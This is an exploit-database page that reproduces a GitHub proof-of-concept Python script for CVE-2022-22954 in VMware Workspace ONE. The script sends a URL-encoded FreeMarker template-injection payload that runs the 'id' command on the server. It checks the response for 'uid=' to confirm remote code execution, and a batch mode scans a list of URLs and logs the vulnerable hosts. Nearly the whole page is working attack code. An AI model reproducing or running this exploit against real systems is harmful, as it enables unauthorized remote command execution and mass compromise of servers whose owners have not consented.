Exploit database

GH-09d0fcd395e2ae34e040e332ecc21c67

axingde/cve-2022-22954-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-22954

28 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
axingde/cve-2022-22954-pocRevision 75f0008a5b36

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

vm-2022-22954.py

Suggested starting filePython · 2,850 bytes
#coding:utf-8
import requests
import sys
import traceback
def start():
    a='''                                                                                                       
____   _________                                         ________ ________  ________.________   _____  
\   \ /   /     \__  _  _______ _______   ____           \_____  \\_____  \/   __   \   ____/  /  |  | 
 \   Y   /  \ /  \ \/ \/ /\__  \\_  __ \_/ __ \   ______  /  ____/ /  ____/\____    /____  \  /   |  |_
  \     /    Y    \     /  / __ \|  | \/\  ___/  /_____/ /       \/       \   /    //       \/    ^   /
   \___/\____|__  /\/\_/  (____  /__|    \___  >         \_______ \_______ \ /____//______  /\____   | 
                \/             \/            \/                  \/       \/              \/      |__| 

                                                                                        by axing                                                                                                   
    ''' 
    print(a)  
    print('\t******** 批量查询使用语法: python vm-2022-22954.py url.txt ********')
    print('\t******** 使用语法:        python vm-2022-22954.py url      ********')
    print('\t********                    注意url结尾不要带/             ********\n')
def poc(url):

    header={
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    ur=url+'/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d'
    requ=requests.get(url=ur,headers=header)
    context=requ.text
    con='uid='
    try:
        if con in context and requ.status_code==400:
            print(f'[+]{url}该网站存在漏洞')
            poc_file = open('succ.txt', 'a+')
            poc_file.write(url + '\n')
            poc_file.close()
        else:
            print(f'[-]{url}该网站不存在漏洞')
    except:
        print(traceback.format_exc())
        pass
def urlist():
    f = open('url.txt', 'r')
    urllist=f.readlines()
    for url in urllist:
        url = url.strip('\n')
        try:
            poc(url)
        except requests.exceptions.RequestException:
            print(f'[-]{url} 检测超时')
            continue
        except:
            print(f'[-]{url} 检测异常')
            continue 
if __name__=='__main__':
    start()
    try:
        if sys.argv[1] == 'url.txt':
            urlist()
        else:
            poc(sys.argv[1])
    except:
        print(traceback.format_exc())